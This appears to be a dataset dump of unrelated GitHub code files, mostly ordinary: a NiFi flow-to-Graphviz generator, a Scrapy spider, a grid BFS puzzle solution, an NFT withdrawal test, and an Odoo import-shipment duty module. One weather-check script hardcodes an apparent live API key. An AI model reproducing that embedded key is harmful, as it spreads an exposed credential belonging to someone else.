node.attr[key] = configuration[\"processors\"][processor.id][\"node_attr\"][\n                    key\n                ].get()\n                logging.debug(\n                    f\"Set Processor {processor.id} configured attribute {key} to {node.attr[key]}\"\n                )\n\n    for remote_group in this_flow.process_group_flow.flow.remote_process_groups:\n        remote_subgraph = process_group_graph.add_subgraph(\n            name=\"cluster_\" + remote_group.component.name\n        )\n        remote_subgraph.graph_attr[\"label\"] = (\n            remote_group.component.target_uri + \" : \" + \"Remote Process Group\"\n        )\n        remote_subgraph.graph_attr[\"style\"] = \"filled\"\n        remote_subgraph.graph_attr[\"color\"] = \"blue\"\n        remote_subgraph.graph_attr[\"fontcolor\"] = \"white\"\n        remote_subgraph.graph_attr[\"id\"] = remote_group.id\n\n        logging.debug(\n            \"Generate node for Remote Process Group \"\n            f\"{remote_group.component.name}:{remote_group.component.target_uri}\"\n        )\n\n        remote_process_group = nipyapi.canvas.get_remote_process_group(\n            remote_group.id, summary=True\n        )\n        _add_mock_info(\n            do_mock,\n            mock_info,\n            \"nipyapi.canvas.get_remote_process_group\",\n            remote_group.id,\n            [remote_group.id, True],\n            remote_process_group,\n        )\n\n        # see if user has configured a set of attributes for this remote process group\n        if configuration[\"remote_process_groups\"][remote_group.id][\n            \"node_attr\"\n        ].exists():\n            logging.debug(\n                f\"Remote Process Group {remote_group.component.name} has configured attributes\"\n            )\n            for key in configuration[\"remote_process_groups\"][remote_group.id][\n                \"node_attr\"\n            ]:\n                remote_subgraph.graph_attr[key] = configuration[\n                    \"remote_process_groups\"\n                ][remote_group.id][\"node_attr\"][key].get()\n                logging.debug(\n                    f\"Set Remote Process Group {remote_group.component.name} \"\n                    f\"configured graph attribute {key} to {remote_subgraph.graph_attr[key]}\"\n                )\n        for input_port in remote_process_group[\"input_ports\"]:\n            logging.debug(\n                f\"Found Remote Process Group {remote_group.component.name} \"\n                f\"input port {input_port.id}\"\n            )\n            remote_subgraph.add_node(input_port.id)\n            remote_input_port_node = remote_subgraph.get_node(input_port.id)\n            remote_input_port_node.attr[\"label\"] = (\n                input_port.name + \" : \" + \"INPUT_PORT\"\n            )\n            remote_input_port_node.attr[\"id\"] = input_port.id\n            logging.debug(\n                f\"Generated node for Remote Process Group {remote_group.component.name} \"\n                f\"input port {input_port.id}\"\n            )\n    logging.debug(f\"Checking connections for {process_group.id} flow\")\n    for connection in this_flow.process_group_flow.flow.connections:\n        if connection.component.selected_relationships is not None:\n            for relationship in connection.component.selected_relationships:\n                process_group_graph.add_edge(\n                    connection.source_id, connection.destination_id\n                )\n                edge = process_group_graph.get_edge(\n                    connection.source_id, connection.destination_id\n                )\n                edge.attr[\"label\"] = relationship\n        else:\n            process_group_graph.add_edge(\n                connection.source_id, connection.destination_id\n            )\n            edge = process_group_graph.get_edge(\n                connection.source_id, connection.destination_id\n            )\n            edge.attr[\"label\"] = connection.component.name\n        logging.debug(\n            f\"Generated Edge from {connection.source_id} to {connection.destination_id}\"\n        )\n\n    # check and see if we are at the configured depth or that we can keep going\n    configured_depth = int(configuration[\"depth\"].get())\n    next_depth = current_depth + 1\n    if (configured_depth == -1) or (next_depth <= configured_depth):\n        logging.debug(f\"Moving to depth {next_depth}\")\n        process_groups_api = nipyapi.nifi.ProcessGroupsApi()\n        _add_mock_info(\n            do_mock, mock_info, \"nipyapi.nifi.ProcessGroupsApi\", data=process_groups_api\n        )\n        inner_process_groups = process_groups_api.get_process_groups(process_group.id)\n        if isinstance(inner_process_groups, ProcessGroupsEntity):\n            inner_process_groups_actual = inner_process_groups.process_groups\n        else:\n            inner_process_groups_actual = inner_process_groups\n\n        _add_mock_info(\n            do_mock,\n            mock_info,\n            \"ProcessGroupsApi.get_process_groups\",\n            process_group.id,\n            [process_group.id],\n            inner_process_groups_actual,\n        )\n        for inner_process_group in inner_process_groups_actual:\n            _handle_group(\n                configuration,\n                next_depth,\n                inner_process_group,\n                process_group_graph,\n                do_mock=do_mock,\n                mock_info=mock_info,\n            )\n    else:\n        logging.debug(\n            f\"Max depth {configured_depth} met in Process Group {process_group.id}, stopping\"\n        )\n\n\ndef _set_default_root_attrs(root_graph, name=\"nifi flow\"):\n    \"\"\"\n    Sets the default attributes for the root graph\n    :param root_graph: the graph to configure\n    :param name: the graph name\n    :return:\n    \"\"\"\n    root_graph.node_attr[\"shape\"] = \"rectangle\"\n    root_graph.graph_attr[\"compound\"] = \"true\"\n    root_graph.node_attr[\"fixedsize\"] = \"false\"\n    root_graph.node_attr[\"fontsize\"] = \"8\"\n    root_graph.node_attr[\"style\"] = \"filled\"\n    root_graph.graph_attr[\"outputorder\"] = \"edgesfirst\"\n    root_graph.graph_attr[\"label\"] = name\n    root_graph.graph_attr[\"ratio\"] = \"1.0\"\n    root_graph.edge_attr[\"color\"] = \"#1100FF\"\n    root_graph.edge_attr[\"style\"] = \"setlinewidth(2)\"\n    logging.debug(\"Generated default ROOT_GRAPH\")\n    logging.debug(root_graph.string())\n\n\ndef generate_graph(generate_configuration) -> pgv.AGraph:\n    \"\"\"\n    Walk a NiFi flow and produce an AGraph.\n    Configuration options will be used to control the depth of the process group recursion,\n    load templates to overload subgraph settings, and set properties on processors\n    If the generate-mocks flag is set in options, the mock-file will be written with\n    the call data and responses for nipyapi.  This file will be used to create\n    mock instances later.\n    :param generate_configuration: confuse.LazyConfig\n    :return: PyGraphViz AGraph instance\n    \"\"\"\n    _root_graph = None\n    mock = {}\n\n    logging.debug(\"generating graph\")\n    do_mock = generate_configuration[\"generate_mock_data\"].get(bool)\n    # check if the user wishes to start somewhere other than the root\n    if generate_configuration[\"start_at_pg\"].exists():\n        root_id = generate_configuration[\"start_at_pg\"].get()\n        logging.debug(f\"using specified start_at_pg {root_id}\")\n        root_group = nipyapi.canvas.get_process_group(root_id, identifier_type=\"id\")\n        _add_mock_info(\n            do_mock,\n            mock,\n            \"nipyapi.canvas.get_process_group\",\n            args=[root_id, \"id\"],\n            data=root_group,\n        )\n\n        # since they are being specific, get the specific template if there is one\n        if generate_configuration[\"process_groups\"][root_id].exists():\n            template_file = generate_configuration[\"process_groups\"][\n                root_id\n            ].as_filename()\n            logging.debug(\n                f\"specified start_at_pg {root_id} has a configured template {template_file}\"\n            )\n            _root_graph = pgv.AGraph(template_file)\n            logging.debug(\"root graph based on start_at_pg.id and template created\")\n        else:\n            logging.debug(\n                \"root graph based on start_at_pg will be created from defaults\"\n            )\n            _root_graph = pgv.AGraph(\n                name=root_group.component.name + \" flow\", directed=\"true\", rankdir=\"LR\"\n            )\n            _set_default_root_attrs(_root_graph, root_group.component.name)\n\n        if \"label\" not in _root_graph.graph_attr:\n            _root_graph.graph_attr[\"label\"] = root_group.component.name\n        if \"id\" not in _root_graph.graph_attr:\n            _root_graph.graph_attr[\"id\"] = root_group.id\n    else:\n        # check if the user has a defined root dot file configured\n        # if they do load the root from that\n        if generate_configuration[\"graph\"][\"template\"].exists():\n            graph_template_file = generate_configuration[\"graph\"][\n                \"template\"\n            ].as_filename()\n            logging.debug(f\"Graph has a configured template {graph_template_file}\")\n            _root_graph = pgv.AGraph(graph_template_file)\n        else:\n            logging.debug(\"root graph will be created from defaults\")\n            _root_graph = pgv.AGraph(name=\"nifi flow\", directed=\"true\", rankdir=\"LR\")\n            _set_default_root_attrs(_root_graph)\n\n        if logging.DEBUG >= logging.root.level:\n            logging.debug(\"ROOT GRAPH : \\n\" f\"{_root_graph.string()}\")\n        root_id = nipyapi.canvas.get_root_pg_id()\n        _add_mock_info(do_mock, mock, \"nipyapi.canvas.get_root_pg_id\", data=root_id)\n        root_group = nipyapi.canvas.get_process_group(root_id, identifier_type=\"id\")\n        _add_mock_info(\n            do_mock,\n            mock,\n            \"nipyapi.canvas.get_process_group\",\n            args=[root_id, \"id\"],\n            data=root_group,\n        )\n\n    _handle_group(\n        generate_configuration, 0, root_group, _root_graph, _root_graph, do_mock, mock\n    )\n\n    if do_mock:\n        if generate_configuration[\"mock_data_file\"].exists():\n            with open(\n                generate_configuration[\"mock_data_file\"].as_filename(), \"w\"\n            ) as mock_data_file:\n                mock_data_file.write(jsonpickle.encode(mock, make_refs=False))\n\n    return _root_graph\n","repo_name":"palindromicity/dotifi","sub_path":"dotifi/nifi/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":16541,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"14592315923","text":"import requests\n\nclass GeoAPI:\n    API_KEY = \"d81015613923e3e435231f2740d5610b\"\n    LAT = \"-35.836948753554054\"\n    LON = \"-61.870523905384076\"\n    \n    @classmethod\n    def is_hot_in_pehuajo(cls):\n        temperature = temperature_on_location(f\"https://api.openweathermap.org/data/2.5/weather?lat={cls.LAT}&lon={cls.LON}&appid={cls.API_KEY}\")\n        if temperature > 28:\n            return True\n        else:\n            return False\n\ndef temperature_on_location(url):\n    try:\n        payload = {'units': 'metric'}\n        response = requests.get(url, params = payload)\n        if response.status_code == 200:\n            data = response.json()\n            temp = data[\"main\"][\"temp\"]\n            return temp\n    except:\n        return 0","repo_name":"guidomperosino/ai_challenge","sub_path":"temperature_check.py","file_name":"temperature_check.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72561570170","text":"from scrapy.spiders import Spider\n\nclass BlogSpider(Spider):\n    name = 'robottdog'\n    start_urls = ['http://robottdog.com']\n\n    def parse(self, response):\n        titles = response.xpath('//a[@class=\"post-title-link\"]/text()').extract()\n        for title in titles:\n            print(title)","repo_name":"Cedric1996C/Python-Learning","sub_path":"scrapy_spider/scrapy_spider/spiders/blog_spider.py","file_name":"blog_spider.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29085083658","text":"import sys\nfrom collections import deque\n\ninput = sys.stdin.readline\n\nn, m = map(int, input().split())\narr = []\nmaxNum = 0\n\ndx = [0, 0, 1, -1, 1, -1, 1, -1]\ndy = [1, -1, 0, 0, 1, -1, -1, 1]\nfor _ in range(n):\n    arr.append(list(map(int, input().split())))\n\n\ndef bfs(r, c):\n    que = deque()\n    visited = [[False] * m for _ in range(n)]\n    que.append((r, c))\n    visited[r][c] = True\n    returnNum = 0\n\n    while que:\n        que_size = len(que)\n        returnNum += 1\n        for _ in range(que_size):\n            x, y = que.popleft()\n\n            if arr[x][y] == 1:\n                return returnNum - 1\n            for i in range(8):\n                nx = x + dx[i]\n                ny = y + dy[i]\n                if 0 <= nx < n and 0 <= ny < m and not visited[nx][ny]:\n                    visited[nx][ny] = True\n                    que.append((nx, ny))\n    return 0\n\n\nfor i in range(n):\n    for j in range(m):\n        if arr[i][j] == 0:\n            maxNum = max(maxNum, bfs(i, j))\n\nprint(maxNum)\n","repo_name":"spaceOfSoul/baekjunSolve_python","sub_path":"17086.py","file_name":"17086.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8637653905","text":"import brownie\n\n\ndef test_withdraw_owner(owner, deployer, nftSet, testNFT):\n    # Test owner and only owner can withdraw an ERC721\n    # Test ownership transfer via traditional ERC721 transfer\n\n    set = nftSet()\n\n    tokenId = 1\n    testNFT.mint(set, tokenId)\n\n    assert testNFT.ownerOf(tokenId) == set\n\n    set.withdrawERC721(testNFT, tokenId, {\"from\": owner})\n\n    assert testNFT.ownerOf(tokenId) == owner\n\n    testNFT.safeTransferFrom(owner, set, tokenId, {\"from\": owner})\n    set.transferFrom(owner, deployer, set.OWNER_ID(), {\"from\": owner})\n\n    with brownie.reverts(\"NFTSet: caller is not owner nor approved\"):\n        set.withdrawERC721(testNFT, tokenId, {\"from\": owner})\n\n    set.safeWithdrawERC721(testNFT, tokenId, {\"from\": deployer})\n\n    assert testNFT.ownerOf(tokenId) == deployer\n","repo_name":"emilianobonassi/NFTSet","sub_path":"tests/test_erc721_operations.py","file_name":"test_erc721_operations.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"77"}
+{"seq_id":"72093209529","text":"def search_place(tab1, tab2):\n    i = 0\n    res = 0\n    while(i < len(tab2)):\n        if(tab1[i] != tab2[i]):\n            res = i\n            break\n        i += 1\n    if(res == 0):\n        res = len(tab1)\n    return res\n\n# driver code\n# 2 tab 1 - 4 elem, 2 - 5 elem. 4 elem - jednakowe w roz kol\ntab1 = [1,2,3,4,5]\ntab2 = [1,3,5,4]\nlist.sort(tab1)\nlist.sort(tab2)\nprint(tab1)\nprint(tab2)\nith = search_place(tab1, tab2)\nprint(ith)\nprint(\"newystracz. elem is:\", tab1[ith])\n","repo_name":"Oksaniya/Python_exercises","sub_path":"new3.py","file_name":"new3.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38046721864","text":"from dataclasses import field\nfrom datetime import datetime, timedelta\nfrom email.base64mime import body_encode\nfrom locale import currency\nfrom this import d\nfrom odoo import models, fields , api\nfrom odoo.exceptions import ValidationError\nfrom datetime import datetime,timedelta\n\n\nimport logging\n\n_logger = logging.getLogger(__name__)\n\nclass EximShipmentIGM(models.Model):\n    _name = 'exim.shipments.igm'\n    _description = \"IGM\"\n    _rec_name = 'shipment_no'\n    _inherit = ['mail.thread','mail.activity.mixin'] \n    shipment_no = fields.Many2one(\"exim.shipments\",string='Shipment')\n    foreign_currency = fields.Many2one('res.currency', string=\"Foreign Currency\")\n    home_currency = fields.Many2one('res.currency', string=\"Home Currency\")\n    lot_no = fields.Char(string='Lot no.')\n    grade = fields.Char(string='Grade.')\n    container_no = fields.Char(string='Container No.')\n    boe_no = fields.Char(string='BOE No.')\n    boe_date = fields.Date(string='BOE Date')\n    igm_no = fields.Char(string='IGM No.')\n    igm_date = fields.Date(string='IGM Date')\n    inward_date = fields.Date(string='Inward Date')\n    invoice_value = fields.Monetary('Invoice Value' , currency_field ='foreign_currency')\n    ex_rate = fields.Monetary(\"Exchange Rate\", currency_field ='home_currency')\n    invoice_value_inr = fields.Monetary('Invoice Value(INR)',compute=\"_compute_rate_inr\", currency_field ='home_currency')\n    insurance = fields.Monetary(\"Insurance\" , currency_field ='home_currency')\n    freight = fields.Monetary(\"Freight\" , currency_field ='foreign_currency')\n    freight_inr = fields.Monetary(\"Freight INR\",compute=\"_compute_rate_inr\", currency_field ='home_currency')\n    cif_value = fields.Monetary(\"CIF VALUE\",compute=\"_compute_cif_value\", currency_field ='home_currency')\n    duty_bcd = fields.Monetary(\"Duty (BCD)\" , currency_field ='home_currency')\n    duty_sws = fields.Monetary(\"Duty (SWS)\" , currency_field ='home_currency')\n    duty_aidc = fields.Monetary(\"Duty (AIDC)\" , currency_field ='home_currency')\n    duty_gst = fields.Monetary(\"Duty (GST)\" , currency_field ='home_currency')\n    shipping_line = fields.Monetary(\"Shipping Line\" , currency_field ='home_currency')\n    cfs = fields.Monetary(\"CFS\" , currency_field ='home_currency')\n    ci_product_line_item = fields.Many2one(\"exim.shipment.ci.product\",string=\"CI Line Item\")\n    fssai = fields.Monetary(\"FSSAI\" , currency_field ='home_currency')\n    pq = fields.Monetary(\"PQ\" , currency_field ='home_currency')\n    container_details = fields.One2many('igm.containers.detail','igm_id',string=\"Container Detail\",required=True)\n    cha = fields.Monetary(\"CHA\" , currency_field ='home_currency')\n    others = fields.Monetary(\"Others\" , currency_field ='home_currency')\n    landing_cost = fields.Monetary(\"Landing Cost\",compute=\"_compute_landing_cost\" , currency_field ='home_currency')\n    per_box_cost = fields.Monetary(\"Per KG Cost\" , compute=\"_compute_pb_cost\" ,currency_field ='home_currency')\n    box_qty = fields.Integer(string=\"Box Qty\" , compute=\"_compute_box_qty\")\n    ooc =  fields.Boolean(string=\"OOC\")\n    port_in_date = fields.Datetime(string=\"Port IN\")\n    port_out_date = fields.Datetime(string=\"Port Out\")\n    cfs_in_date = fields.Datetime(string=\"CFS IN\")\n    cfs_out_date = fields.Datetime(string=\"CFS OUT\")\n    duty_details = fields.One2many('igm.duty.line','igm_id',string=\"Duty Detail\",required=True)\n    release_visible = fields.Boolean(\"Release\")\n    claim_amount = fields.Char(string='Claim Amount')\n    claim_settlement_amount = fields.Char(string='Claim Settlement Amount')\n    claim_settled = fields.Boolean(string=\"Claim Settled\")\n    mapping_status = fields.Char(string='Mapping Status')\n    credit_note = fields.Char(string='Credit Note')\n    warehouse = fields.Char(string=\"Warehouse\")\n    final_noc = fields.Boolean(string=\"Final Noc\")\n    quality = fields.Selection([('good', 'Good'),('bad', 'Bad')],string='Quality')\n    incoterms =  fields.Selection([('cif', 'CIF'),('fob', 'FOB'),('cnf', 'CNF')], string='Incoterms')\n    pb_cost =   fields.Monetary(\"Per Box Cost\" , compute=\"_compute_pbox_cost\" ,currency_field ='home_currency')\n    sum_net_wt = fields.Float(\"Total Net Wt.\",compute=\"_compute_total_netwt\")\n    cif_details = fields.One2many('igm.cif.line','igm_id',string=\"CIF Line\",required=True)\n    actual_weight = fields.Float(\"Actual Weight\")\n    sample_weight = fields.Float(\"Sample Weight\")\n    unloading_weight = fields.Float(\"Unloading Weight\")\n    weight_diff = fields.Float(\"Weight Diff\",compute=\"_compute_weight_diff\")\n    br = fields.Char(\"BR\")\n\n    @api.depends(\"actual_weight\",\"sample_weight\",\"unloading_weight\")\n    def _compute_weight_diff(self):\n        for rec in self:\n            try:\n                rec.weight_diff = rec.actual_weight - rec.sample_weight - rec.unloading_weight\n            except:\n                pass\n            \n    @api.depends(\"cif_details.qty\")\n    def _compute_total_netwt(self):\n        for rec in self:\n            net_wt = 0.0\n\n            for i in rec.cif_details:\n                net_wt += i.qty \n            \n            rec.sum_net_wt = net_wt\n            \n\n\n    @api.model\n    def create(self, values):\n        igm = self.env['exim.shipments.igm']\n        limit = igm.search_count([('shipment_no','=', values[\"shipment_no\"])])\n        if limit >= 1:\n             raise ValidationError(\"Only One IGM Allowed Per Shipment\")\n        else:\n            incoterms = self.env['exim.shipments'].search([(\"id\",\"=\",values[\"shipment_no\"])]).pi_no_id.incoterms\n            values[\"incoterms\"] = incoterms\n            created = super(EximShipmentIGM, self).create(values)\n            shipements = self.env['exim.shipments'].search([(\"id\",\"=\",created.shipment_no.id)])\n            \n            for record in shipements:\n                record.write({  'igm': created.id })\n        return created\n\n    @api.depends(\"landing_cost\",\"cif_details.qty_box\")\n    def _compute_pbox_cost(self):\n        for rec in self:\n            total_box = 0.0\n\n            for i in rec.cif_details:\n                total_box += i.qty_box\n            \n            rec.pb_cost =  rec.landing_cost /total_box\n            \n\n\n\n    @api.depends(\"landing_cost\",\"cif_details.qty\")\n    def _compute_pb_cost(self):\n\n         for rec in self:\n            total_box = 0.0\n\n            for i in rec.cif_details:\n                total_box += i.qty \n            \n            rec.per_box_cost =  rec.landing_cost /total_box\n            \n           \n\n\n        \n\n\n        # try:\n        #     self.per_box_cost = self.landing_cost / self.box_qty\n        # except:\n        #     self.per_box_cost = None\n\n    @api.depends(\"ci_product_line_item\",\"cif_details.invoice_value\")\n    def _compute_cif_value(self):\n        cif = 0.0\n        for value in self.cif_details:\n            cif += value.cif\n        self.cif_value = cif\n\n    @api.depends(\"ci_product_line_item\")\n    def _compute_box_qty(self):\n        self.box_qty = self.ci_product_line_item.quantity_box\n\n    @api.onchange(\"shipment_no\")\n    def set_domain_for_ci_product_line_item(self):\n\n        id = self.shipment_no.commercial_invoice.id\n        _logger.info(\"Sasa \"+ str(id))\n        result = { \n                    'domain': {'ci_product_line_item': [ \n                    ('ci_id', '=', id)] \n                    } \n                 } \n        return result\n\n    @api.depends('ex_rate','invoice_value','freight')\n    def _compute_rate_inr(self):\n        # _logger.info(\"ex_rate \" + str(self.ex_rate) + \" inv_val \"+ str(self.invoice_value) )\n        self.invoice_value_inr = self.ex_rate * self.invoice_value\n        self.freight_inr = self.ex_rate * self.freight\n    \n    @api.depends('duty_bcd','duty_sws','shipping_line','cfs','fssai','pq','cha','cif_value')\n    def _compute_duty(self):\n        self.landing_cost =  self.duty_bcd + self.duty_sws + self.shipping_line + self.cfs + self.fssai + self.pq + self.cha + self.cif_value\n    \n    @api.depends('cif_details.cif','duty_details.total')\n    def _compute_landing_cost(self):\n\n        for rec in self:\n            cif_total = 0.0\n            for i in rec.cif_details:\n                cif_total += i.cif\n            \n            duty_total = 0.0\n            for i in rec.duty_details:\n                duty_total += i.total\n            rec.landing_cost =  cif_total + duty_total\n\n\n    @api.model\n    def default_get(self, fields_list):\n       res = super(EximShipmentIGM, self).default_get(fields_list)\n       container_details_vals = []\n       cif_details_vals = []\n       duty_vals = []\n       try:\n        if res:\n            shipment_no = int(res[\"shipment_no\"])\n            _logger.info(str(shipment_no))\n            shipment = self.env['exim.shipments'].search([('id', '=', shipment_no )])\n            usd_currency = self.env['res.currency'].search([('name', '=', 'USD' )]).id\n            inr_currency = self.env['res.currency'].search([('name', '=', 'INR' )]).id\n            currency = shipment.pi_no_id.currency_id.id\n            ci_id = shipment.commercial_invoice.id\n            res[\"domain\"] = {\n                            'ci_product_line_item': [ ('ci_id', '=', ci_id)] \n                            }\n                \n            \n            incoterms = shipment.pi_no_id.incoterms\n\n            for container in shipment.container_details:\n                data = (0, 0, {'container_no': container.container_no, 'container_weight': container.container_weight })\n                container_details_vals.append(data)\n            \n            for product in shipment.commercial_invoice.product_detail:\n\n                data = (0, 0, { 'ci_product_line_item':product,'qty_box':product.qt_box,'qty':product.quantity_box,'foreign_currency': usd_currency, 'home_currency': inr_currency ,\"invoice_value\":product.line_total })\n                cif_details_vals.append(data)\n\n            for duty in shipment.commercial_invoice.product_detail:\n                data = (0, 0, { 'ci_product_line_item':duty})\n                duty_vals.append(data)\n\n\n            if shipment.state == \"released\":\n                \n                res.update({'foreign_currency': usd_currency ,'home_currency':inr_currency, 'container_details':container_details_vals,'cif_details':cif_details_vals,'duty_details':duty_vals ,'release_visible': True, 'incoterms':incoterms })\n\n            else:\n\n                res.update({'foreign_currency': usd_currency ,'home_currency':inr_currency, 'container_details':container_details_vals,'cif_details':cif_details_vals,'duty_details':duty_vals,'incoterms':incoterms })\n       except:\n            res.update({})\n       return res\n\nclass ContainerDetails(models.Model):\n    _name = \"igm.containers.detail\"\n    _inherit = 'exim.shipments.container'\n    igm_id =  fields.Many2one('exim.shipments.igm',string=\"IGM\")\n    ooc =  fields.Boolean(string=\"OOC\")\n    port_in_date = fields.Datetime(string=\"Port IN\")\n    port_out_date = fields.Datetime(string=\"Port Out\")\n    port_time_diff = fields.Char(string=\"Port time Diff(HR)\",compute=\"_compute_time_diff\")\n    cfs_in_date = fields.Datetime(string=\"CFS IN\")\n    cfs_out_date = fields.Datetime(string=\"CFS OUT\")\n    cfs_time_diff = fields.Char(string=\"CFS time Diff(HR)\",compute=\"_compute_cfstime_diff\")\n    transporter_name = fields.Char(string=\"Transporter Name\")\n    vehicle_no = fields.Char(string=\"Vehicle No\")\n    release =  fields.Boolean(string=\"Release\")\n\n\n    \n\n    @api.depends('cfs_in_date','cfs_out_date')\n    def _compute_cfstime_diff(self):\n        for rec in self:\n            try:\n                start_time = rec.cfs_in_date\n                end_time = rec.cfs_out_date\n                delta = end_time - start_time\n                rec.cfs_time_diff = delta\n            except:\n                rec.cfs_time_diff = None\n\n    @api.depends('port_in_date','port_out_date')\n    def _compute_time_diff(self):\n        for rec in self:\n\n            try:\n                start_time = rec.port_in_date\n                end_time = rec.port_out_date\n                _logger.info(\"start time \"  + str(start_time)+ \" End time \" +str(end_time))\n                delta = end_time - start_time\n                _logger.info(\"Delta \" + str(delta))\n                rec.port_time_diff = delta\n            except:\n                rec.port_time_diff = None\n                \n                # sec = delta.total_seconds()\n                # hours = sec / (60 * 60)\n                # rec.port_time_diff = hours\n\n    \n\nclass DutyLine(models.Model):\n    _name = \"igm.duty.line\"\n    igm_id =  fields.Many2one('exim.shipments.igm',string=\"IGM\")\n    ci_product_line_item = fields.Many2one(\"exim.shipment.ci.product\",string=\"CI Line Item\")\n    duty_bcd = fields.Float(\"BCD\",compute=\"_compute_duty\")\n    duty_sws = fields.Float(\"SWS\",compute=\"_compute_duty\")\n    duty_aidc = fields.Float(\"AIDC\",compute=\"_compute_duty\")\n    duty_gst = fields.Float(\"IGST\",compute=\"_compute_duty\")\n    penalty = fields.Float(\"Penalty\")\n    others = fields.Float(\"Others\")\n    shipping_line = fields.Float(\"Shipping Line\" )\n    cfs = fields.Float(\"CFS\" )\n    fssai = fields.Float(\"FSSAI\")\n    pq = fields.Float(\"PQ\")\n    cha = fields.Float(\"CHA\")\n    transportation_cost = fields.Float(\"Transportation Cost\")\n    total = fields.Float(\"Total\",compute=\"_compute_total\")\n\n    @api.onchange(\"igm_id\",\"ci_product_line_item\")\n    def set_domain_for_ci_product_line_item(self):\n        id = self.igm_id.shipment_no.commercial_invoice.id\n      \n        \n        _logger.info(\"Sasa \")\n        result = { \n                    'domain': {'ci_product_line_item': [ \n                    ('ci_id', '=', id)] \n                    } \n                 } \n        return result\n\n    \n    # def _compute_inverse(self):\n    #     for rec in self:\n    #         if rec.duty_bcd:\n    #             rec.duty_bcd = rec.duty_bcd\n    #         else:\n    #            rec.duty_bcd = rec.igm_id.cif_value * (rec.ci_product_line_item.product.duty_bcd_percentage)\n\n    #         # pass\n\n    @api.depends('igm_id.cif_value','duty_bcd')\n    def _compute_duty(self):\n        for rec in self:\n            rec.ci_product_line_item.id \n            cif_line = self.env['igm.cif.line'].search([('ci_product_line_item', '=', rec.ci_product_line_item.id ),('igm_id','=',rec.igm_id.id)])\n            _logger.info(\" Line \"+str(cif_line))\n            rec.duty_bcd = cif_line.cif * (rec.ci_product_line_item.product.duty_bcd_percentage)\n            rec.duty_sws = rec.duty_bcd * (rec.ci_product_line_item.product.duty_sws_percentage)\n            rec.duty_aidc = cif_line.cif * (rec.ci_product_line_item.product.duty_aidc_percentage)\n            rec.duty_gst = (cif_line.cif + rec.duty_bcd + rec.duty_sws) * (rec.ci_product_line_item.product.duty_gst_percentage)\n\n\n\n\n    @api.depends('duty_bcd','duty_sws','duty_aidc','duty_gst','penalty','others','shipping_line','cfs','fssai','pq','cha','transportation_cost')\n    def _compute_total(self):\n        for rec in self:\n            rec.total = rec.duty_bcd + rec.duty_sws + rec.duty_aidc + rec.duty_gst + rec.penalty + rec.others + rec.shipping_line + rec.cfs + rec.fssai + rec.pq + rec.cha + rec.transportation_cost\n\n\nclass CIFLineDetail(models.Model):\n    _name = \"igm.cif.line\"\n    incoterms =  fields.Selection([('cif', 'CIF'),('fob', 'FOB'),('cnf', 'CNF')],compute=\"_compute_incoterm\", string='Incoterms')\n    igm_id =  fields.Many2one('exim.shipments.igm',string=\"IGM\")\n    ci_product_line_item = fields.Many2one(\"exim.shipment.ci.product\",string=\"CI Line Item\")\n    qty = fields.Integer(string=\" Net Wt\" )\n    foreign_currency = fields.Many2one('res.currency', string=\"Foreign Currency\")\n    home_currency = fields.Many2one('res.currency', string=\"Home Currency\")\n    insurance = fields.Monetary(\"Insurance\" , currency_field ='home_currency')\n    freight = fields.Monetary(\"Freight\" , currency_field ='foreign_currency')\n    freight_inr = fields.Monetary(\"Freight INR\",compute=\"_compute_rate_inr\", currency_field ='home_currency')\n    invoice_value = fields.Monetary(\"Invoice Value\" , currency_field ='foreign_currency')\n    qty_box = fields.Float(\"Qty Box\")\n    invoice_value_inr = fields.Monetary(\"Invoice Value (INR)\",compute=\"_compute_rate_inr\" , currency_field ='home_currency')\n    cif = fields.Monetary(\"CIF\" ,compute=\"_compute_cif\", currency_field ='home_currency')\n\n\n\n    \n\n    @api.depends('igm_id')\n    def _compute_incoterm(self):\n        for rec in self:\n            # _logger.info(\"ex_rate\" + str(rec) )\n            rec.incoterms = rec.igm_id.incoterms\n            \n\n\n    @api.depends('invoice_value','freight','igm_id.ex_rate')\n    def _compute_rate_inr(self):\n        for rec in self:\n            # _logger.info(\"ex_rate\" + str(rec) )\n            rec.invoice_value_inr = rec.invoice_value * rec.igm_id.ex_rate\n            rec.freight_inr = rec.freight * rec.igm_id.ex_rate\n    \n    @api.depends('invoice_value_inr','insurance')\n    def _compute_cif(self):\n        for rec in self:\n            # _logger.info(\"ex_rate\" + str(rec) )\n            rec.cif = rec.invoice_value_inr + rec.insurance + rec.freight_inr\n            # rec.freight_inr = rec.freight * rec.igm_id.ex_rate\n    \n\n    # foreign_currency = fields.Many2one('res.currency', string=\"Foreign Currency\")\n    # home_currency = fields.Many2one('res.currency', string=\"Home Currency\")\n\n\n\n    # @api.model\n    # def fields_view_get(self, view_id=None, view_type='form', toolbar=False, submenu=False):\n    #     res = super(CIFLineDetail, self).fields_view_get(view_id=view_id, view_type=view_type, toolbar=toolbar,submenu=submenu)\n        \n    #     _logger.info(\"From CIF Detail \")\n    #     result = { \n    #                 'domain': {'ci_product_line_item': [ \n    #                 ('ci_id', '=', 7)] \n    #                 } \n    #              } \n        \n        # return result\n    \n    # @api.model\n    # def default_get(self, fields_list):\n    #    res = super(CIFLineDetail, self).default_get(fields_list)\n    #    usd_currency = self.env['res.currency'].search([('name', '=', 'USD' )]).id\n    #    inr_currency = self.env['res.currency'].search([('name', '=', 'INR' )]).id\n    #    res.update({'foreign_currency': usd_currency ,'home_currency':inr_currency})\n    #    return res\n\n    \n    \n\n    @api.onchange(\"igm_id\",\"ci_product_line_item\")\n    def set_domain_for_ci_product_line_item(self):\n        id = self.igm_id.shipment_no.commercial_invoice.id\n      \n        \n        _logger.info(\"Sasa \")\n        result = { \n                    'domain': {'ci_product_line_item': [ \n                    ('ci_id', '=', id)] \n                    } \n                 } \n        return result\n\n    